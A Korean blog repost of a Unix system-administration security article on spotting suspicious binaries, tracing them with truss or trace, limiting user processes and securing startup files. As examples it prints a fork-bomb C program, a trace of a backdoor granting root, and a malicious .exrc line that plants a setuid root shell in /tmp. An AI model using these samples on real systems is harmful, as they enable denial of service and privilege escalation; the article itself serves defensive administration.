189 blocks used (approx)
위의 SUNWsra(Source Compatibility Archive Libraries)는 Patch level 6임을 알 수 있다.
3. 메뉴얼을 찾아볼 것.
발견한 파일이 정상적으로 설치가 되었다면 통상적으로 메뉴얼도 함께 인스톨 되었을 것이다. 해당 프로그램을 man command 를 사용하여 찾아보아 있는지를 확인해 본다.
4. 함부로 실행시키지 말 것.
그리고 가장 명심해야 할 점이다. 무슨 파일인지 모르겠으면 안전하게 삭제하는 것이 최선이다. 어떠한 일을 수행하는 실행파일인지도 모르고 수행을 시킨 다는 것은 자살 행위나 마찬가지이기 때문이다.
결국 위의 방법들을 순조롭게 수행하여 sucksuck, fuckfuck , hackhack 은 sakai 란 사람이 해킹프로그램을 컴파일 시켜둔 것이라고 추측할 수 있게 되었다.
다음 예를 보자.
이상한 파일을 찾던 도중 같은 디렉토리에 a.out 이란 프로그램이 있는 것을 발견하고 아무 생각없이 실행을 시켰다. 무슨 일을 하는 프로그램인지 알기 위해서이다.
그 순간 xload 의 그래프들이 치솟으며 시스템에 부하가 급증하더니 결국은 리부트를 하지 않으면 안되는 상황이 되어 버렸다. 리부팅을 하고 난 후에 같은 디렉토리에 있던 프로그램들을 다시 조사하던 중 발견한 사실이지만 그 a.out 실행파일은 다음의 소스가 컴파일 된 것이었다.
void main()
{
while(1)
{
fork();
}
}
참 간략한 프로그램이지만 상당히 무서운 결과를 초래 할 수 있는 프로그램이다.
계속 프로세스를 fork 하여 시스템의 리소스를 고갈시키게 된다. 위와 같은 process bomb 에 대비하는 방법은 커널을 재컴파일해서 사용자당 MAX 로 할당할 수 있는 process 수를 제한하는 방법 밖엔 없는데, SunOS 나 Solaris 에서는 /etc/system 파일에 set maxuproc=100 를 추가해줌으로써 간단히 해결할 수 있다.
이런 경우에는 의심되는 프로그램을 system call 을 이용하여 추적할 수도 있다. 프로그램에 대한 지식이 약간만이라도 있다면 충분히 어떠한 프로그램인지 추측할 수 있게 된다.
라이브러리 호출, 함수 호출들을 추적하려면 다음과 같은 명령어를 사용하면 된다.
trace (대부분의 시스템)
truss (Solaris)
par (IRIX)
다음은 아까의 예에서 발견했던 fping 이란 프로그램을 추적하는 예이다.
# trace /etc/fping
getpagesize () = 4096
brk (0x6140) = 0
brk (0x7140) = 0
open ("/dev/tty", 0, 0666) = 3
sigblock (0x2) = 0
sigvec (2, 0xeffff9dc, 0xeffff9d0) = 0
sigvec (2, 0xeffff93c, 0) = 0
sigsetmask (0) = 0x2
ioctl (3, 0x40245408, 0xeffff9ac) = 0
ioctl (3, 0x8024540b, 0xeffff9ac) = 0
write (2, "", 0) = 0
read (3,
function call 이 read 에서 멈추었다. 이제 사용자의 입력을 기다리는 프로그램이라는 것을 알게 되었다. 이쯤에서 조사는 멈추었지만 나중에 파일시스템을 전부 뒤지다 보니 fping 의 소스코드를 찾게 되었는데 분석해 보니 특정 스트링을 입력할 경우 root 로 su 를 시켜주는 프로그램이고 read 에서 멈춘 것은 해커가 지정해놓은 특정 스트링을 입력 받기 위한 것이었음을 알게 되었다.
3. 기타 잡다한 사항들
여기에서는 잡다한 사항들로 알아두어야 하는 것들을 적어 보았다.
startup 파일들 (.exrc, .cshrc , .login....) 이 world writable 해서는 안된다.
특히 root 소유의 파일들은 주의를 기해야 한다.
가령 ~root/.exrc 가 world writable 해서 다음과 같이 어떠한 사용자가 조작을 해놓았다고 해보자. .exrc 는 vi 계열의 에디터가 실행될 때 읽어들이는 configuration file 이다.
$ cat .exrc
!(cp /bin/sh /tmp/newsh;chmod 4755 /tmp/newsh)&
위의 것이 실행되고 나면 /tmp 디렉토리에는 newsh 이라는 루트쉘이 남아 있게 된다.
root 의 경우 startup 파일에 설정한 path에 . 을 넣지 않도록 한다.
current 를 넣어야 하는 경우라면 다른 path 들을 앞에 두고 . 은 맨 마지막에 두기 바란다.현재의 디렉토리에 OS 에서 제공되는 command 와 같은 이름으로 Trojan horse 를 심어둘 수 있다. 수준이 낮은 저질해킹방법이긴 하지만, 아직도 저급 해커들에 의해 사용되는 방법이니 주의하기 바란다.
필요 없는 서비스는 하지 않는다.
버그박스나, 다른 메뉴에 있는 내용들을 보아서도 알고 있겠지만 시스템에 버그나 문제점들은 불필요한 서비스를 하고 있음으로써, 시스템의 부하량도 늘고, 시스템에 문제점을 일으킬 소지도 있게 하는 것이다.
가장 이상적인 시스템 관리는 자신의 호스트에서 필요에 의해 운영하는 것 외에는 서비스를 일체 하지 않고, 자신의 시스템 내에 설치한 프로그램에 대해서는 확실히 패치 및 꾸준한 업그레이드를 해 나가는 것이다.
4. 맺으며
이번 호를 읽는 독자들은 알겠지만 이번에 다룬 내용은 해커들의 경험을 바탕으로, 또 해킹 사례들을 토대로 실례를 들어가며 적은 곳이 상당부분이 된다. 나름대로 실용적인 테크닉을 관리자 경험에 비추어 적어보았는데 도움이 되었으면 한다.
General Security Administration V 부 (다음 호)
다음 호를 기대해 주십시오. (T_T)
(Footnote)
# 는 root shell 프롬프트를 뜻한다.
$ 은 일반 사용자의 borne shell 계열 쉘 프롬프트를 뜻한다.
% 는 일반 사용자의 C shell 계열 쉘 프롬프트를 뜻한다.
Reference
[General Security Technique - Practically Useful], 김휘강, 제 4 회 WWW-KR Conference
Netsec-KR'95 Tutorial #1
System Administration, O'Reilly ＆ Associates, Inc.
'Unix Linux' 카테고리의 다른 글
| [펌] 유닉스 보안 2 (0) | 2005.05.31 |
|---|---|
| [펌] 유닉스 보안 1 (0) | 2005.05.31 |
| 정규표현식의 기본 문법 (0) | 2005.02.15 |